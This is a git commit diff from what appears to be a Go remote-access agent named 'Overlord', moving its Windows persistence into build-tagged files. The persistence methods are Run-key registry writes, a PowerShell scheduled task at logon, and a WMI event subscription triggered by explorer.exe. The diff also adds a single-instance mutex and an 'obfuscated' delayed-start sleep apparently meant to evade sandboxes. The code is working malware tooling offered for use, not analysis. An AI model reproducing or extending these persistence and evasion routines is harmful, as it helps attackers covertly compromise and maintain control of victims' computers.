tons of new build options, fix mutex shit, etc
This commit is contained in:
@@ -27,6 +27,7 @@ var DefaultID = ""
|
||||
var DefaultCountry = ""
|
||||
var DefaultAgentToken = ""
|
||||
var DefaultBuildTag = ""
|
||||
var DefaultSleepSeconds = "0"
|
||||
|
||||
const settingsFile = "config/settings.json"
|
||||
const serverIndexFile = "config/server_index.json"
|
||||
@@ -62,6 +63,7 @@ type Config struct {
|
||||
TLSClientKey string
|
||||
AgentToken string
|
||||
BuildTag string
|
||||
SleepSeconds int
|
||||
}
|
||||
|
||||
func Load() Config {
|
||||
@@ -162,6 +164,7 @@ func Load() Config {
|
||||
TLSClientKey: tlsClientKey,
|
||||
AgentToken: agentToken,
|
||||
BuildTag: strings.TrimSpace(DefaultBuildTag),
|
||||
SleepSeconds: parseSleepSeconds(DefaultSleepSeconds),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -170,6 +173,20 @@ func isTruthy(value string) bool {
|
||||
return v == "true" || v == "1" || v == "yes" || v == "y"
|
||||
}
|
||||
|
||||
func parseSleepSeconds(s string) int {
|
||||
n := 0
|
||||
for _, c := range strings.TrimSpace(s) {
|
||||
if c < '0' || c > '9' {
|
||||
return 0
|
||||
}
|
||||
n = n*10 + int(c-'0')
|
||||
if n > 3600 {
|
||||
return 3600
|
||||
}
|
||||
}
|
||||
return n
|
||||
}
|
||||
|
||||
func LoadServerURLsFromRaw(rawURL string) ([]string, error) {
|
||||
trimmed := strings.TrimSpace(rawURL)
|
||||
if trimmed == "" {
|
||||
|
||||
@@ -12,6 +12,10 @@ import (
|
||||
func main() {
|
||||
cfg := config.Load()
|
||||
|
||||
if cfg.SleepSeconds > 0 {
|
||||
sleepObfuscated(cfg.SleepSeconds)
|
||||
}
|
||||
|
||||
if cfg.EnablePersistence {
|
||||
if err := persistence.Setup(); err != nil {
|
||||
log.Printf("Warning: Failed to setup persistence: %v", err)
|
||||
|
||||
@@ -20,6 +20,12 @@ func Acquire(name string) (func(), bool, error) {
|
||||
|
||||
fullName := "Global\\Overlord-" + sanitized
|
||||
handle, err := windows.CreateMutex(nil, false, windows.StringToUTF16Ptr(fullName))
|
||||
if err == windows.ERROR_ALREADY_EXISTS {
|
||||
if handle != 0 {
|
||||
windows.CloseHandle(handle)
|
||||
}
|
||||
return func() {}, false, nil
|
||||
}
|
||||
if err != nil {
|
||||
return nil, false, fmt.Errorf("create mutex: %w", err)
|
||||
}
|
||||
|
||||
@@ -7,6 +7,10 @@ import (
|
||||
|
||||
var DefaultPersistenceMethod = "startup"
|
||||
|
||||
var persistInstallFn func(targetPath string) error = func(_ string) error { return nil }
|
||||
|
||||
var persistUninstallFns []func() error
|
||||
|
||||
func Setup() error {
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
|
||||
@@ -152,68 +152,6 @@ func runPowerShell(script string) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func installStartupFolder(_ string) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func installRegistry(targetPath string) error {
|
||||
k, _, err := registry.CreateKey(registry.CURRENT_USER, registryKey,
|
||||
registry.QUERY_VALUE|registry.SET_VALUE)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to open HKCU Run key: %w", err)
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
names, _ := k.ReadValueNames(0)
|
||||
for _, name := range names {
|
||||
if strings.HasPrefix(strings.ToLower(name), strings.ToLower(registryValuePrefix)) {
|
||||
return k.SetStringValue(name, fmt.Sprintf(`"%s"`, targetPath))
|
||||
}
|
||||
}
|
||||
|
||||
b := make([]byte, 4)
|
||||
if _, err := rand.Read(b); err != nil {
|
||||
return fmt.Errorf("failed to generate registry value name: %w", err)
|
||||
}
|
||||
valueName := registryValuePrefix + hex.EncodeToString(b)
|
||||
return k.SetStringValue(valueName, fmt.Sprintf(`"%s"`, targetPath))
|
||||
}
|
||||
|
||||
func installTaskScheduler(targetPath string) error {
|
||||
taskName := deriveTaskName(targetPath)
|
||||
safe := strings.ReplaceAll(targetPath, "'", "''")
|
||||
// Notes on PowerShell parameter syntax used here:
|
||||
// -ExecutionTimeLimit: expects a TimeSpan; ([TimeSpan]::Zero) disables the limit.
|
||||
// -StartWhenAvailable: SwitchParameter — must be bare or use colon syntax (:$true);
|
||||
// writing "-StartWhenAvailable $true" (with space) makes $true a positional arg, which errors.
|
||||
script := fmt.Sprintf(
|
||||
`$a = New-ScheduledTaskAction -Execute '%s'; `+
|
||||
`$t = New-ScheduledTaskTrigger -AtLogOn; `+
|
||||
`$s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; `+
|
||||
`Register-ScheduledTask -TaskName '%s' -Action $a -Trigger $t -Settings $s -Force | Out-Null`,
|
||||
safe, taskName)
|
||||
return runPowerShell(script)
|
||||
}
|
||||
|
||||
func installWMI(targetPath string) error {
|
||||
filterName, consumerName := deriveWMINames(targetPath)
|
||||
safe := strings.ReplaceAll(targetPath, "'", "''")
|
||||
script := fmt.Sprintf(
|
||||
`$f = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance(); `+
|
||||
`$f.QueryLanguage = 'WQL'; `+
|
||||
`$f.Query = "SELECT * FROM __InstanceCreationEvent WITHIN 30 `+
|
||||
`WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'"; `+
|
||||
`$f.Name = '%s'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); `+
|
||||
`$c = ([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance(); `+
|
||||
`$c.Name = '%s'; $c.ExecutablePath = '%s'; $null = $c.Put(); `+
|
||||
`$b = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance(); `+
|
||||
`$b.Filter = "\\.\root\subscription:__EventFilter.Name='%s'"; `+
|
||||
`$b.Consumer = "\\.\root\subscription:CommandLineEventConsumer.Name='%s'"; `+
|
||||
`$null = $b.Put()`,
|
||||
filterName, consumerName, safe, filterName, consumerName)
|
||||
return runPowerShell(script)
|
||||
}
|
||||
|
||||
func install(exePath string) error {
|
||||
targetPath, err := getTargetPath()
|
||||
if err != nil {
|
||||
@@ -229,23 +167,10 @@ func install(exePath string) error {
|
||||
return err
|
||||
}
|
||||
|
||||
switch activeMethod() {
|
||||
case "registry":
|
||||
if err := installRegistry(targetPath); err != nil {
|
||||
return fmt.Errorf("failed to install registry persistence: %w", err)
|
||||
}
|
||||
case "taskscheduler":
|
||||
if err := installTaskScheduler(targetPath); err != nil {
|
||||
return fmt.Errorf("failed to install task scheduler persistence: %w", err)
|
||||
}
|
||||
case "wmi":
|
||||
if err := installWMI(targetPath); err != nil {
|
||||
return fmt.Errorf("failed to install WMI persistence: %w", err)
|
||||
}
|
||||
if err := persistInstallFn(targetPath); err != nil {
|
||||
return fmt.Errorf("failed to install persistence: %w", err)
|
||||
}
|
||||
|
||||
// Best-effort cleanup of legacy registry entries from older versions.
|
||||
// Don't fail persistence setup if cleanup is denied due to insufficient permissions.
|
||||
_ = cleanupLegacyRunValues()
|
||||
|
||||
return nil
|
||||
@@ -302,34 +227,21 @@ func configure(exePath string) error {
|
||||
}
|
||||
}
|
||||
|
||||
switch activeMethod() {
|
||||
case "registry":
|
||||
if err := installRegistry(targetPath); err != nil {
|
||||
return fmt.Errorf("failed to reconfigure registry persistence: %w", err)
|
||||
}
|
||||
case "taskscheduler":
|
||||
if err := installTaskScheduler(targetPath); err != nil {
|
||||
return fmt.Errorf("failed to reconfigure task scheduler persistence: %w", err)
|
||||
}
|
||||
case "wmi":
|
||||
if err := installWMI(targetPath); err != nil {
|
||||
return fmt.Errorf("failed to reconfigure WMI persistence: %w", err)
|
||||
}
|
||||
default:
|
||||
// Best-effort cleanup of legacy registry entries from older versions.
|
||||
// Don't fail persistence setup if cleanup is denied due to insufficient permissions.
|
||||
_ = cleanupLegacyRunValues()
|
||||
if err := persistInstallFn(targetPath); err != nil {
|
||||
return fmt.Errorf("failed to reconfigure persistence: %w", err)
|
||||
}
|
||||
|
||||
_ = cleanupLegacyRunValues()
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func uninstall() error {
|
||||
_ = cleanupLegacyRunValues()
|
||||
|
||||
_ = uninstallTaskScheduler()
|
||||
|
||||
_ = uninstallWMI()
|
||||
for _, fn := range persistUninstallFns {
|
||||
_ = fn()
|
||||
}
|
||||
|
||||
appDataDir := os.Getenv("APPDATA")
|
||||
if appDataDir == "" {
|
||||
@@ -347,26 +259,6 @@ func uninstall() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func uninstallTaskScheduler() error {
|
||||
return runPowerShell(
|
||||
`Get-ScheduledTask -ErrorAction SilentlyContinue | ` +
|
||||
`Where-Object { $_.TaskName -like 'ovd_*' } | ` +
|
||||
`Unregister-ScheduledTask -Confirm:$false -ErrorAction SilentlyContinue`)
|
||||
}
|
||||
|
||||
func uninstallWMI() error {
|
||||
return runPowerShell(
|
||||
`Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding ` +
|
||||
`-ErrorAction SilentlyContinue | Where-Object { $_.Filter -like "*ovd_*" } | ` +
|
||||
`Remove-WmiObject -ErrorAction SilentlyContinue; ` +
|
||||
`Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer ` +
|
||||
`-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "ovd_*" } | ` +
|
||||
`Remove-WmiObject -ErrorAction SilentlyContinue; ` +
|
||||
`Get-WmiObject -Namespace root\subscription -Class __EventFilter ` +
|
||||
`-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "ovd_*" } | ` +
|
||||
`Remove-WmiObject -ErrorAction SilentlyContinue`)
|
||||
}
|
||||
|
||||
func cleanupPrefixedExecutables(dir string) error {
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
|
||||
@@ -0,0 +1,40 @@
|
||||
//go:build windows && persist_registry
|
||||
// +build windows,persist_registry
|
||||
|
||||
package persistence
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"golang.org/x/sys/windows/registry"
|
||||
)
|
||||
|
||||
func init() {
|
||||
persistInstallFn = installRegistry
|
||||
}
|
||||
|
||||
func installRegistry(targetPath string) error {
|
||||
k, _, err := registry.CreateKey(registry.CURRENT_USER, registryKey,
|
||||
registry.QUERY_VALUE|registry.SET_VALUE)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to open HKCU Run key: %w", err)
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
names, _ := k.ReadValueNames(0)
|
||||
for _, name := range names {
|
||||
if strings.HasPrefix(strings.ToLower(name), strings.ToLower(registryValuePrefix)) {
|
||||
return k.SetStringValue(name, fmt.Sprintf(`"%s"`, targetPath))
|
||||
}
|
||||
}
|
||||
|
||||
b := make([]byte, 4)
|
||||
if _, err := rand.Read(b); err != nil {
|
||||
return fmt.Errorf("failed to generate registry value name: %w", err)
|
||||
}
|
||||
valueName := registryValuePrefix + hex.EncodeToString(b)
|
||||
return k.SetStringValue(valueName, fmt.Sprintf(`"%s"`, targetPath))
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
//go:build windows && persist_taskscheduler
|
||||
// +build windows,persist_taskscheduler
|
||||
|
||||
package persistence
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func init() {
|
||||
persistInstallFn = installTaskScheduler
|
||||
persistUninstallFns = append(persistUninstallFns, uninstallTaskScheduler)
|
||||
}
|
||||
|
||||
func installTaskScheduler(targetPath string) error {
|
||||
taskName := deriveTaskName(targetPath)
|
||||
safe := strings.ReplaceAll(targetPath, "'", "''")
|
||||
script := fmt.Sprintf(
|
||||
`$a = New-ScheduledTaskAction -Execute '%s'; `+
|
||||
`$t = New-ScheduledTaskTrigger -AtLogOn; `+
|
||||
`$s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; `+
|
||||
`Register-ScheduledTask -TaskName '%s' -Action $a -Trigger $t -Settings $s -Force | Out-Null`,
|
||||
safe, taskName)
|
||||
return runPowerShell(script)
|
||||
}
|
||||
|
||||
func uninstallTaskScheduler() error {
|
||||
return runPowerShell(
|
||||
`Get-ScheduledTask -ErrorAction SilentlyContinue | ` +
|
||||
`Where-Object { $_.TaskName -like 'ovd_*' } | ` +
|
||||
`Unregister-ScheduledTask -Confirm:$false -ErrorAction SilentlyContinue`)
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
//go:build windows && persist_wmi
|
||||
// +build windows,persist_wmi
|
||||
|
||||
package persistence
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func init() {
|
||||
persistInstallFn = installWMI
|
||||
persistUninstallFns = append(persistUninstallFns, uninstallWMI)
|
||||
}
|
||||
|
||||
func installWMI(targetPath string) error {
|
||||
filterName, consumerName := deriveWMINames(targetPath)
|
||||
safe := strings.ReplaceAll(targetPath, "'", "''")
|
||||
script := fmt.Sprintf(
|
||||
`$f = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance(); `+
|
||||
`$f.QueryLanguage = 'WQL'; `+
|
||||
`$f.Query = "SELECT * FROM __InstanceCreationEvent WITHIN 30 `+
|
||||
`WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'"; `+
|
||||
`$f.Name = '%s'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); `+
|
||||
`$c = ([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance(); `+
|
||||
`$c.Name = '%s'; $c.ExecutablePath = '%s'; $null = $c.Put(); `+
|
||||
`$b = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance(); `+
|
||||
`$b.Filter = "\\.\root\subscription:__EventFilter.Name='%s'"; `+
|
||||
`$b.Consumer = "\\.\root\subscription:CommandLineEventConsumer.Name='%s'"; `+
|
||||
`$null = $b.Put()`,
|
||||
filterName, consumerName, safe, filterName, consumerName)
|
||||
return runPowerShell(script)
|
||||
}
|
||||
|
||||
func uninstallWMI() error {
|
||||
return runPowerShell(
|
||||
`Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding ` +
|
||||
`-ErrorAction SilentlyContinue | Where-Object { $_.Filter -like "*ovd_*" } | ` +
|
||||
`Remove-WmiObject -ErrorAction SilentlyContinue; ` +
|
||||
`Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer ` +
|
||||
`-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "ovd_*" } | ` +
|
||||
`Remove-WmiObject -ErrorAction SilentlyContinue; ` +
|
||||
`Get-WmiObject -Namespace root\subscription -Class __EventFilter ` +
|
||||
`-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "ovd_*" } | ` +
|
||||
`Remove-WmiObject -ErrorAction SilentlyContinue`)
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
package main
|
||||
|
||||
import "time"
|
||||
|
||||
func sleepObfuscated(seconds int) {
|
||||
if seconds <= 0 {
|
||||
return
|
||||
}
|
||||
const slice = 500 * time.Millisecond
|
||||
end := time.Now().Add(time.Duration(seconds) * time.Second)
|
||||
for {
|
||||
remaining := time.Until(end)
|
||||
if remaining <= 0 {
|
||||
return
|
||||
}
|
||||
next := remaining
|
||||
if next > slice {
|
||||
next = slice
|
||||
}
|
||||
time.Sleep(next)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user